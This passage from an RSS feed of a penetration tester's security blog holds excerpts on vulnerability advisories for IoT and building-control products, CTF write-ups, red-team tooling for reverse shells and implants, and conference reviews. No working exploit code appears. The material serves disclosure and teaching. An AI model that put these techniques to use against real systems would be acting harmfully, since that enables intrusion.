even the most junior of penetration testers to possess.&lt;/p&gt;</description></item><item><title>Book Review: Red Team by Micah Zenko</title><link>https://systemoverlord.com/2018/02/10/book-review-red-team-by-micah-zenko.html</link><pubDate>Sat, 10 Feb 2018 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2018/02/10/book-review-red-team-by-micah-zenko.html</guid><description>&lt;p&gt;&lt;a href="http://amzn.to/2EAIrTK"&gt;Red Team: How to Succeed By Thinking Like the Enemy&lt;/a&gt; by
Micah Zenko focuses on the role that red teaming plays in a variety of
institutions, ranging from the Department of Defense to cybersecurity. It&amp;rsquo;s an
excellent book that describes the thought process behind red teaming, when red
teaming is a success and when it can be a failure, and the way a red team can
best fit into an organization and provide value. If you&amp;rsquo;re looking for a book
that&amp;rsquo;s highly technical or focused entirely on information security engineering,
this book may disappoint. There&amp;rsquo;s only a single chapter covering the
application of red teaming in the information security space (particularly
&amp;ldquo;vulnerability probes&amp;rdquo; as Zenko refers to many of the tests), but that doesn&amp;rsquo;t
make the rest of the content any less useful &amp;ndash; or interesting &amp;ndash; to the Red
Team practitioner.&lt;/p&gt;</description></item><item><title>Security Is Not an Absolute</title><link>https://systemoverlord.com/2018/02/05/security-is-not-an-absolute.html</link><pubDate>Mon, 05 Feb 2018 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2018/02/05/security-is-not-an-absolute.html</guid><description>&lt;p&gt;If there&amp;rsquo;s one thing I wish people from outside the security industry knew when
dealing with information security, it&amp;rsquo;s that &lt;strong&gt;Security is not an absolute&lt;/strong&gt;.
Most of the time, it&amp;rsquo;s not even quantifiable. Even in the case of particular
threat models, it&amp;rsquo;s often impossible to make statements about the security of a
system with certainty.&lt;/p&gt;</description></item><item><title>Playing with the Gigastone Media Streamer Plus</title><link>https://systemoverlord.com/2018/01/28/multiple-vulnerabilities-in-gigastone-media-streamer.html</link><pubDate>Sun, 28 Jan 2018 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2018/01/28/multiple-vulnerabilities-in-gigastone-media-streamer.html</guid><description>&lt;ul&gt;
&lt;li&gt;TOC
{:toc}&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="background"&gt;Background&lt;/h2&gt;
&lt;p&gt;A few months ago, I was shopping on &lt;a href="https://www.woot.com"&gt;woot.com&lt;/a&gt; and
discovered the &lt;a href="http://amzn.to/2C76sRQ"&gt;Gigastone Media Streamer Plus&lt;/a&gt; for about
$25. I figured this might be something occassionally useful, or at least fun to
look at for security vulnerabilities. When it arrived, I didn&amp;rsquo;t get around to
it for quite a while, and then when I finally did, I was terribly disappointed
in it as a security research target &amp;ndash; it was just too easy.&lt;/p&gt;</description></item><item><title>Psychological Issues in the Security Industry</title><link>https://systemoverlord.com/2018/01/26/psychological-issues-in-the-security-industry.html</link><pubDate>Fri, 26 Jan 2018 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2018/01/26/psychological-issues-in-the-security-industry.html</guid><description>&lt;p&gt;I&amp;rsquo;ve unfortunately had the experience of dealing with a number of
psychological issues (either personally or through personal connections)
during my tenure in the security fold. I hope to shed some light on them and
encourage others to take them seriously.&lt;/p&gt;
&lt;p&gt;If you are hoping this post will be some grand reveal of security engineers
going psychotic and stabbing users who enter passwords into phishing pages with
poor grammar and spelling, web site administrators who can&amp;rsquo;t be bothered to set
up HTTPS, and ransomware authors, then I hate to disappoint you. If, on the
other hand, you&amp;rsquo;re interested in observations of people who have experienced
various psychological problems while in the security industry, then I&amp;rsquo;ll
probably still disappoint, just but not as much.&lt;/p&gt;</description></item><item><title>socat as a handler for multiple reverse shells</title><link>https://systemoverlord.com/2018/01/20/socat-as-a-handler-for-multiple-reverse-shells.html</link><pubDate>Sat, 20 Jan 2018 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2018/01/20/socat-as-a-handler-for-multiple-reverse-shells.html</guid><description>&lt;p&gt;I was looking for a new way to handle multiple incoming reverse shells. My
shells needed to be encrypted and I preferred not to use Metasploit in this
case. Because of the way I was deploying my implants, I wasn&amp;rsquo;t able to use
separate incoming port numbers or other ways of directing the traffic to
multiple listeners.&lt;/p&gt;
&lt;p&gt;Obviously, it&amp;rsquo;s important to keep each reverse shell separated, so I couldn&amp;rsquo;t
just have a listener redirecting all the connections to STDIN/STDOUT. I also
didn&amp;rsquo;t want to wait for sessions serially &amp;ndash; obviously I wanted to be connected
to all of my implants simultaneously. (And allow them to disconnect/reconnect
as needed due to loss of network connectivity.)&lt;/p&gt;</description></item><item><title>TP-Link Kasa App: SSL Verification Disabled (Fixed)</title><link>https://systemoverlord.com/2018/01/16/tp-link-kasa-app-ssl-verification-disabled-fixed.html</link><pubDate>Tue, 16 Jan 2018 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2018/01/16/tp-link-kasa-app-ssl-verification-disabled-fixed.html</guid><description>&lt;p&gt;The TP-Link Kasa app is the Android app that TP-Link distributes to control
their Smart Home line of products, including IoT light bulbs, outlet and a home
hub. TP-Link &lt;a href="http://www.tp-link.com/us/home-networking/smart-home/kasa.html"&gt;describes the app as&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The Kasa app works with Android and iOS devices so you can control your home
right from your smartphone or tablet. You can also use Kasa to pair TP-Link
smart home products with any Amazon Echo, Dot, Tap and The Google Assistant for
voice control, giving you the ability to control your home with voice commands.&lt;/p&gt;</description></item><item><title>Even With the Cloud, Client Security Still Matters</title><link>https://systemoverlord.com/2017/12/27/even-with-the-cloud-client-security-still-matters.html</link><pubDate>Wed, 27 Dec 2017 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2017/12/27/even-with-the-cloud-client-security-still-matters.html</guid><description>&lt;p&gt;&lt;strong&gt;As usual, this post does not necessarily represent the views of my employer
(past, present, or future).&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s Friday afternoon and the marketing manager receives an email with the new
printed material proofs for the trade show. Double clicking the PDF attachment,
his PDF reader promptly crashes.&lt;/p&gt;
&lt;p&gt;&amp;ldquo;Ugh, I&amp;rsquo;m gonna have to call IT again. I&amp;rsquo;ll do it Monday morning,&amp;rdquo; he thinks,
and turns off his monitor before heading home for the weekend.&lt;/p&gt;</description></item><item><title>[CVE-2017-17704] Broken Cryptography in iStar Ultra &amp; IP ACM by Software House</title><link>https://systemoverlord.com/2017/12/18/cve-2017-17704-broken-cryptography-in-istar-ultra-ip-acm-by-software-house.html</link><pubDate>Mon, 18 Dec 2017 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2017/12/18/cve-2017-17704-broken-cryptography-in-istar-ultra-ip-acm-by-software-house.html</guid><description>&lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Vulnerabilities were identified in the iStar Ultra &amp;amp; IP-ACM boards offered by
Software House. This system is used to control physical access to resources
based on RFID-based badge readers. Badge readers interface with the IP-ACM
board, which uses TCP/IP to communicate with the iStar Ultra controller.&lt;/p&gt;
&lt;p&gt;These were discovered during a black box assessment and therefore the
vulnerability list should not be considered exhaustive; observations suggest
that it is likely that further vulnerabilities exist. It is strongly
recommended that Software House undertake a full whitebox security assessment of
this application. Additionally, it is our suggestion that all communications be
conducted over TLS. While alternatives are suggested below, cryptography is
very difficult even for experts, and so using a well-understood cryptosystem
like TLS is preferable to home-grown solutions. The version under test was
indicated as: 6.5.2.20569. As of the time of disclosure, the issues remain
unfixed.&lt;/p&gt;</description></item><item><title>2017 Hacker Holiday Gift Guide</title><link>https://systemoverlord.com/2017/11/22/2017-hacker-holiday-gift-guide.html</link><pubDate>Wed, 22 Nov 2017 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2017/11/22/2017-hacker-holiday-gift-guide.html</guid><description>&lt;p&gt;I&amp;rsquo;ve been thinking about gifts for Hackers and Makers lately as the holiday
season arrives. I decided I&amp;rsquo;d build a public list of some of my favorite things
(and perhaps some things I&amp;rsquo;d like myself as well!) I&amp;rsquo;ll break it down into a
few categories for different kinds of hackers (and different kinds of gifters as
well). Prices are current as of writing, but not something I&amp;rsquo;ll be updating.&lt;/p&gt;</description></item><item><title>Hardware Hacking, Reversing and Instrumentation: A Review</title><link>https://systemoverlord.com/2017/11/11/hardware-hacking-reversing-and-instrumentation-a-review.html</link><pubDate>Sat, 11 Nov 2017 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2017/11/11/hardware-hacking-reversing-and-instrumentation-a-review.html</guid><description>&lt;p&gt;I recently attended &lt;a href="https://toothless.co"&gt;Dr. Dmitry Nedospasov&lt;/a&gt;&amp;rsquo;s 4-day
&lt;a href="https://toothless.co/trainings/"&gt;&amp;ldquo;Hardware Hacking, Reversing and
Instrumentation&amp;rdquo;&lt;/a&gt; training class as part of the
&lt;a href="https://hardwaresecurity.training"&gt;HardwareSecurity.training&lt;/a&gt; event in San
Francisco. I learned a lot, and it was incredibly fun class. If you understand
the basics of hardware security and want to take it to the next level, this is
the course for you.&lt;/p&gt;
&lt;p&gt;The class predominantly focuses on the use of
&lt;a href="https://en.wikipedia.org/wiki/Field-programmable_gate_array"&gt;FPGAs&lt;/a&gt; for
breaking security in hardware devices (embedded devices, microcontrollers,
etc.). The advantage of FPGAs is that they can be used to implement arbitrary
protocols and can operate with very high timing resolution. (e.g., single clock
cycle, since it&amp;rsquo;s essentially synthesized hardware.)&lt;/p&gt;</description></item><item><title>Building a Home Lab for Offensive Security &amp; Security Research</title><link>https://systemoverlord.com/2017/10/24/building-a-home-lab-for-offensive-security-basics.html</link><pubDate>Tue, 24 Oct 2017 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2017/10/24/building-a-home-lab-for-offensive-security-basics.html</guid><description>&lt;p&gt;When I wrote my &lt;a href="https://systemoverlord.com/2017/09/18/getting-started-in-offensive-security.html"&gt;&amp;ldquo;getting started&amp;rdquo; post&lt;/a&gt;
on offensive security, I promised I&amp;rsquo;d write about building a lab you can use to
practice your skillset. It&amp;rsquo;s taken a little while for me to get to it, but I&amp;rsquo;m
finally trying to deliver.&lt;/p&gt;
&lt;p&gt;Much like the post on getting started, I&amp;rsquo;m not claiming to have all the answers.
I&amp;rsquo;ll again be focusing on an environment that helps you build a focus in the
areas I most work in &amp;ndash; penetration testing, black box application security,
and red teaming. (And if you&amp;rsquo;re wondering about the difference between a
penetration test and red team, there will be a post for that too &amp;ndash; I promise
they&amp;rsquo;re very different.)&lt;/p&gt;</description></item><item><title>Hacker Summer Camp 2017: DEF CON</title><link>https://systemoverlord.com/2017/08/05/hacker-summer-camp-2017-def-con.html</link><pubDate>Sat, 05 Aug 2017 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2017/08/05/hacker-summer-camp-2017-def-con.html</guid><description>&lt;p&gt;DEF CON, of course, is the main event of Hacker Summer Camp for me. It&amp;rsquo;s the
largest gathering of hackers in the world, and it&amp;rsquo;s the only opportunity I get
to see some of the people I know in the industry. It&amp;rsquo;s also the most hands-on
of all of the conferences I&amp;rsquo;ve ever attended, and the people running the
villages clearly know their stuff and are super passionate about their area.
Nowhere do I see so much raw talent and excitement for the hacker spirit as at
DEF CON.&lt;/p&gt;</description></item><item><title>Hacker Summer Camp 2017: Pros vs Joes CTF</title><link>https://systemoverlord.com/2017/07/31/hacker-summer-camp-2017-pros-vs-joes-ctf.html</link><pubDate>Mon, 31 Jul 2017 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2017/07/31/hacker-summer-camp-2017-pros-vs-joes-ctf.html</guid><description>&lt;p&gt;I&amp;rsquo;ve returned from this year&amp;rsquo;s edition of Hacker Summer Camp, and while I&amp;rsquo;m
completely and utterly exhausted, I wanted to get my thoughts about this year&amp;rsquo;s
events out before I completely forget what happened.&lt;/p&gt;
&lt;p&gt;The Pros vs Joes CTF was, yet again, a high quality event despite the usual
bumps and twists. This was the largest PvJ ever, with more than 80 people
involved between Blue Pros, Blue Joes, Red Cell, Grey Cell, and Gold Cell. Each
blue team had 11 players between the two Pros and 9 Joes, making them slightly
larger than in years past. (Though I believe that&amp;rsquo;s a temporary &amp;ldquo;feature&amp;rdquo; of
this year&amp;rsquo;s game.)&lt;/p&gt;</description></item><item><title>Hacker Summer Camp 2017: XXV Badge</title><link>https://systemoverlord.com/2017/07/31/hacker-summer-camp-2017-xxv-badge.html</link><pubDate>Mon, 31 Jul 2017 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2017/07/31/hacker-summer-camp-2017-xxv-badge.html</guid><description>&lt;p&gt;In my post &lt;a href="https://systemoverlord.com/2017/07/07/the-many-badges-of-def-con-25.html"&gt;the Many Badges of DEF CON 25&lt;/a&gt;
I may have not-so-subtly hinted that there was something I was working on.
While none of the ones I listed were created in response to the announcement
that DEF CON had been forced to switch to &amp;ldquo;Plan B&amp;rdquo; with their badges, mine more
or less was. Ever since I saw the Queercon badge in 2015, I&amp;rsquo;d had the idea to
create my own electronic badge, but the announcement spurred me on to action.&lt;/p&gt;</description></item><item><title>Hacker Summer Camp 2017 Planning Guide</title><link>https://systemoverlord.com/2017/07/18/hacker-summer-camp-2017-planning-guide.html</link><pubDate>Tue, 18 Jul 2017 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2017/07/18/hacker-summer-camp-2017-planning-guide.html</guid><description>&lt;p&gt;My hacker summer camp planning posts are among the most-viewed on my blog, and I
was recently reminded I hadn&amp;rsquo;t done one for 2017 yet, despite it being just
around the corner!&lt;/p&gt;
&lt;p&gt;Though many tips will be similar, feel free to check out the two posts from last
year as well:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://systemoverlord.com/2016/02/18/hacker-summer-camp-planning-guide.html"&gt;Hacker Summer Camp Planning Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://systemoverlord.com/2016/07/08/hacker-summer-camp-planning-guide-part-ii.html"&gt;Hacker Summer Camp Planning Guide, Part II&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you don&amp;rsquo;t know, Hacker Summer Camp is a nickname for 3 information security
conferences in one week in Las Vegas every July/August. This includes Black
Hat, BSides Las Vegas, and DEF CON.&lt;/p&gt;</description></item><item><title>Belden Garrettcom 6K/10K Switches: Auth Bypasses, Memory Corruption</title><link>https://systemoverlord.com/2017/05/19/belden-garrettcom-6k-10k-switches-auth-bypasses-memory-corruption.html</link><pubDate>Fri, 19 May 2017 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2017/05/19/belden-garrettcom-6k-10k-switches-auth-bypasses-memory-corruption.html</guid><description>&lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Vulnerabilities were identified in the Belden GarrettCom 6K and 10KT (Magnum) series
network switches. These were discovered during a black box assessment and
therefore the vulnerability list should not be considered exhaustive;
observations suggest that it is likely that further vulnerabilities exist.
It is strongly recommended that GarrettCom undertake a full whitebox security
assessment of these switches.&lt;/p&gt;
&lt;p&gt;The version under test was indicated as: 4.6.0. Belden Garrettcom released
an advisory on 8 May 2017, indicating that issues were fixed in 4.7.7:
&lt;a href="https://www.belden.com/hubfs/support/security/bulletins/Belden-GarrettCom-MNS-6K-10K-Security-Bulletin-BSECV-2017-8.pdf?hsLang=en"&gt;https://www.belden.com/hubfs/support/security/bulletins/Belden-GarrettCom-MNS-6K-10K-Security-Bulletin-BSECV-2017-8.pdf?hsLang=en&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This is a local copy of an &lt;a href="http://seclists.org/fulldisclosure/2017/May/65"&gt;advisory posted to the Full Disclosure mailing list&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>Applied Physical Attacks and Hardware Pentesting</title><link>https://systemoverlord.com/2017/05/13/applied-physical-attacks-and-hardware-pentesting.html</link><pubDate>Sat, 13 May 2017 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2017/05/13/applied-physical-attacks-and-hardware-pentesting.html</guid><description>&lt;p&gt;This week, I had the opportunity to take Joe Fitzpatrick&amp;rsquo;s class
&amp;ldquo;&lt;a href="https://securinghardware.com/training/pentesting/"&gt;Applied Physical Attacks and Hardware Pentesting&lt;/a&gt;&amp;rdquo;.
This was a preview of the
course he&amp;rsquo;s offering at Black Hat this summer, and so it was in a bit of an
unpolished state, but I actually enjoyed the fact that it was that way. I&amp;rsquo;ve
taken a class with Joe before, back when he and Stephen Ridley of Xipiter taught
&amp;ldquo;Software Exploitation via Hardware Exploitation&amp;rdquo;, and I&amp;rsquo;ve watched a number of
his talks at various conferences, so I had high expectations of the course, and
he didn&amp;rsquo;t disappoint.&lt;/p&gt;</description></item><item><title>Security Issues in Alerton Webtalk (Auth Bypass, RCE)</title><link>https://systemoverlord.com/2017/04/27/security-issues-in-alerton-webtalk-auth-bypass-rce.html</link><pubDate>Thu, 27 Apr 2017 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2017/04/27/security-issues-in-alerton-webtalk-auth-bypass-rce.html</guid><description>&lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Vulnerabilities were identified in the Alerton Webtalk Software supplied by
Alerton. This software is used for the management of building automation
systems. These were discovered during a black box assessment and therefore
the
vulnerability list should not be considered exhaustive. Alerton has
responded
that Webtalk is EOL and past the end of its support period. Customers
should
move to newer products available from Alerton. Thanks to Alerton for prompt
replies in communicating with us about these issues.&lt;/p&gt;</description></item><item><title>SANS Holiday Hack Challenge 2016</title><link>https://systemoverlord.com/2017/01/05/sans-holiday-hack-challenge.html</link><pubDate>Thu, 05 Jan 2017 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2017/01/05/sans-holiday-hack-challenge.html</guid><description>&lt;ul&gt;
&lt;li&gt;Table of Contents
{:toc}&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
&lt;p&gt;This is my second time playing the SANS holiday hack challenge. It was a lot of fun, and probably took me about 8-10 hours over a period of 2-3 days, &lt;strong&gt;not&lt;/strong&gt; including this writeup. Ironically, this writeup took me longer than actually completing the challenge &amp;ndash; which brings me to a note about some of the examples in the writeup. Please ignore any dates or timelines you might see in screengrabs and other notes &amp;ndash; I was so engrossed in &lt;strong&gt;playing&lt;/strong&gt; that I did a terrible job of documenting as I went along, so a lot of these I went back and did a 2nd time (of course, knowing the solution made it a bit easier) so I could provide the quality of writeup I was hoping to.&lt;/p&gt;
&lt;p&gt;Most importantly, a huge shout out to all the SANS Counter Hack guys &amp;ndash; I can only imagine how much work goes into building an educational game like this and making the challenges realistic and engrossing. I’ve built wargames &amp;amp; similar apps for work, but never had to build them into a story &amp;ndash; let across a story that spans multiple years. I tip my hat to their dedication and success!&lt;/p&gt;</description></item><item><title>New Tool: sshdog</title><link>https://systemoverlord.com/2017/01/04/new-tool-sshdog.html</link><pubDate>Wed, 04 Jan 2017 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2017/01/04/new-tool-sshdog.html</guid><description>&lt;p&gt;I recently needed an &lt;em&gt;encrypted&lt;/em&gt;, &lt;em&gt;authenticated&lt;/em&gt; remote &lt;em&gt;bind&lt;/em&gt; shell due to a
situation where, believe it or not, the egress policies were stricter than
ingress! Ideally I could forward traffic and copy files over the link.&lt;br&gt;
I was looking for a good tool and casually asked my coworkers if they had any
ideas when one said &amp;ldquo;sounds like SSH.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Well, shit.&lt;/em&gt; That does sound like SSH and I didn&amp;rsquo;t even realize it. (Tunnel
vision, and the value of bouncing ideas off of others.) But I had a few more
requirements in total:&lt;/p&gt;</description></item><item><title>Security at the End of 2016</title><link>https://systemoverlord.com/2016/12/31/security-at-the-end-of-2016.html</link><pubDate>Sat, 31 Dec 2016 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2016/12/31/security-at-the-end-of-2016.html</guid><description>&lt;p&gt;Well, 2016 is just about at an end, and what a year it has been. I&amp;rsquo;m not going
to delve into politics, though that will arguably be how the history books will
remember this year, but I want to take a look back at a few of the big security
headlines of the year, and then make some completely wildass prognostications
about information security in 2017.&lt;/p&gt;
&lt;h3 id="bad-news-of-2016"&gt;Bad News of 2016&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Yahoo!_data_breaches"&gt;Yahoo! reported over 1 billion accounts&lt;/a&gt;
were stolen by unknown attackers. Though the breaches occurred in 2013 and
2014, they weren&amp;rsquo;t publicly reported until the tail end of this year.&lt;/p&gt;</description></item><item><title>ObiHai ObiPhone: Multiple Vulnerabilties</title><link>https://systemoverlord.com/2016/08/22/obihai-obiphone-multiple-vulnerabilties.html</link><pubDate>Mon, 22 Aug 2016 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2016/08/22/obihai-obiphone-multiple-vulnerabilties.html</guid><description>&lt;p&gt;&lt;strong&gt;Note that this a duplicate of the
&lt;a href="http://seclists.org/fulldisclosure/2016/Aug/111"&gt;advisory sent to the full-disclosure&lt;/a&gt;
mailing list.&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Multiple vulnerabilities were discovered in the web management interface of the ObiHai ObiPhone products. The Vulnerabilities were discovered during a black box security assessment and therefore the vulnerability list should not be considered exhaustive.&lt;/p&gt;
&lt;h2 id="affected-devices-and-versions"&gt;Affected Devices and Versions&lt;/h2&gt;
&lt;p&gt;ObiPhone 1032/1062 with firmware less than 5-0-0-3497.&lt;/p&gt;
&lt;h2 id="vulnerability-overview"&gt;Vulnerability Overview&lt;/h2&gt;
&lt;p&gt;Obi-1. Memory corruption leading to free() of an attacker-controlled address&lt;br&gt;
Obi-2. Command injection in WiFi Config&lt;br&gt;
Obi-3. Denial of Service due to buffer overflow&lt;br&gt;
Obi-4. Buffer overflow in internal socket handler&lt;br&gt;
Obi-5. Cross-site request forgery&lt;br&gt;
Obi-6. Failure to implement RFC 2617 correctly&lt;br&gt;
Obi-7. Invalid pointer dereference due to invalid header&lt;br&gt;
Obi-8. Null pointer dereference due to malicious URL&lt;br&gt;
Obi-9. Denial of service due to invalid content-length&lt;/p&gt;</description></item><item><title>(Slightly) Securing Wargame Servers</title><link>https://systemoverlord.com/2016/08/21/slightly-securing-warzone-servers.html</link><pubDate>Sun, 21 Aug 2016 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2016/08/21/slightly-securing-warzone-servers.html</guid><description>&lt;p&gt;I was setting up some wargame boxes for a private group and wanted to reduce the
risk of malfeasence/abuse from these boxes. One option, used by many public
wargames, is locking down the firewall. While that&amp;rsquo;s a great start, I decided
to go one step further and prevent directly logging in as the wargame users,
requiring that the users of my private wargames have their own accounts.&lt;/p&gt;
&lt;h3 id="step-1-setup-the-private-accounts"&gt;Step 1: Setup the Private Accounts&lt;/h3&gt;
&lt;p&gt;This is pretty straightforward: create a group for these users that can SSH
directly in, create their accounts, and setup their public keys.&lt;/p&gt;</description></item><item><title>Matir's Favorite Things</title><link>https://systemoverlord.com/2016/08/20/matir-s-favorite-things.html</link><pubDate>Sat, 20 Aug 2016 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2016/08/20/matir-s-favorite-things.html</guid><description>&lt;p&gt;One of my friends was recently asking me about some of the tools I use,
particularly for security assessments. While I can&amp;rsquo;t give out all of these
things for free Oprah-style, I did want to take a moment to share some of
my favorite security- and technology-related tools, services and resources.&lt;/p&gt;
&lt;h2 id="hardware"&gt;Hardware&lt;/h2&gt;
&lt;p&gt;&lt;a href="http://shop.lenovo.com/us/en/laptops/thinkpad/t-series/t450s/"&gt;&lt;img src="https://systemoverlord.com/img/blog/favorite_things/t450s.jpg" alt="Lenovo T450s"&gt;{:.left}&lt;/a&gt;
My primary laptop is a &lt;strong&gt;Lenovo T450s&lt;/strong&gt;. For me, it&amp;rsquo;s the perfect mix of weight and
processing power &amp;ndash; configured with enough RAM, the i5-5200U has no trouble
running 2 or 3 VMs at the same time, and with an internal 3-cell battery plus a
6-cell battery pack, it will go all day without an outlet. (Though not
necessarily under 100% CPU load.) Though Lenovo no longer sells this, having
replaced it with the T460s, it&amp;rsquo;s still &lt;a href="https://amzn.to/2boky1C"&gt;available on
Amazon&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>Chrome on Kali for root</title><link>https://systemoverlord.com/2016/07/24/chrome-on-kali-for-root.html</link><pubDate>Sun, 24 Jul 2016 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2016/07/24/chrome-on-kali-for-root.html</guid><description>&lt;p&gt;For many of the tools on &lt;a href="https://www.kali.org"&gt;Kali Linux&lt;/a&gt;, it&amp;rsquo;s easiest to run
them as root, so the defacto standard has more or less become to run as root
when using Kali. Google Chrome, on the other hand, would not like to be run as
root (because it makes sandboxing harder when your user is all-powerful) so
there have been a number of tricks to get it to run. I&amp;rsquo;m going to describe my
preferred setup here. (Mostly as documentation for myself.)&lt;/p&gt;</description></item><item><title>ASIS CTF 2016: 3magic</title><link>https://systemoverlord.com/2016/05/08/asis-ctf-2016-3magic.html</link><pubDate>Sun, 08 May 2016 22:30:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2016/05/08/asis-ctf-2016-3magic.html</guid><description>&lt;p&gt;We&amp;rsquo;re directed to a web application that provides us with the ability to ping an
arbitrary host. Like many such web interfaces, this one is vulnerable to
&lt;a href="https://www.owasp.org/index.php/Command_Injection"&gt;command injection&lt;/a&gt;. We can
provide flags like -v to get the version of ping being used, but inserting other
characters, like &lt;code&gt;|&lt;/code&gt;, &lt;code&gt;;&lt;/code&gt;, or &lt;code&gt;$()&lt;/code&gt; result in a response of &lt;code&gt;invalid character detected&lt;/code&gt;. Notably, so do spaces and tabs, significantly limiting the ability
to run commands (we&amp;rsquo;ll see how to get around this shortly).&lt;/p&gt;</description></item><item><title>ASIS CTF 2016: Binary Cloud</title><link>https://systemoverlord.com/2016/05/08/asis-ctf-2016-binary-cloud.html</link><pubDate>Sun, 08 May 2016 22:30:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2016/05/08/asis-ctf-2016-binary-cloud.html</guid><description>&lt;p&gt;Binary Cloud claims &amp;ldquo;Now you can upload any types of files, temporarily.&amp;rdquo; Let&amp;rsquo;s
see what this means.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://systemoverlord.com/img/blog/asis-2016/binary_cloud.png" alt="binary cloud"&gt;&lt;/p&gt;
&lt;p&gt;Rule one of web challenges: check &lt;code&gt;robots.txt&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;User-Agent: *
Disallow: /
Disallow: /debug.php
Disallow: /cache
Disallow: /uploads
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So we have some interesting paths there. &lt;code&gt;debug.php&lt;/code&gt; turns out to be a
&lt;code&gt;phpinfo()&lt;/code&gt; page, informing us it&amp;rsquo;s &amp;lsquo;PHP Version 7.0.4-7ubuntu2&amp;rsquo;. Interesting,
pretty new version. I play around with the app briefly to see how it&amp;rsquo;s going to
behave, and notice any file ending in &lt;code&gt;.php&lt;/code&gt; is prohibited. No direct &lt;code&gt;.php&lt;/code&gt;
script upload for us.&lt;/p&gt;</description></item><item><title>ASIS CTF 2016: firtog</title><link>https://systemoverlord.com/2016/05/08/asis-ctf-2016-firtog.html</link><pubDate>Sun, 08 May 2016 22:30:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2016/05/08/asis-ctf-2016-firtog.html</guid><description>&lt;p&gt;Firtog gives us a pcap file that you can quickly see features several TCP
sessions containing the git server protocol. The binary protocol looks like
this in the follow TCP stream mode:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://systemoverlord.com/img/blog/asis-2016/firtog_wireshark.png" alt="firtog wireshark"&gt;&lt;/p&gt;
&lt;p&gt;Switching Wireshark to decode this as &amp;ldquo;Git&amp;rdquo; &lt;em&gt;almost&lt;/em&gt; works, but there&amp;rsquo;s a trick.
If we read the &lt;a href="https://github.com/git/git/blob/master/Documentation/technical/pack-protocol.txt"&gt;git pack
protocol&lt;/a&gt;
documentation, we&amp;rsquo;ll see there&amp;rsquo;s a special side-band mode here, where the length
field is followed with a &amp;lsquo;1&amp;rsquo;, &amp;lsquo;2&amp;rsquo;, or &amp;lsquo;3&amp;rsquo; byte indicating the type of data to
follow. We only want the data from sideband &amp;lsquo;1&amp;rsquo;, which is the actual packfile
data. So we&amp;rsquo;ll grab that data using Wireshark and write it to a file, fixing up
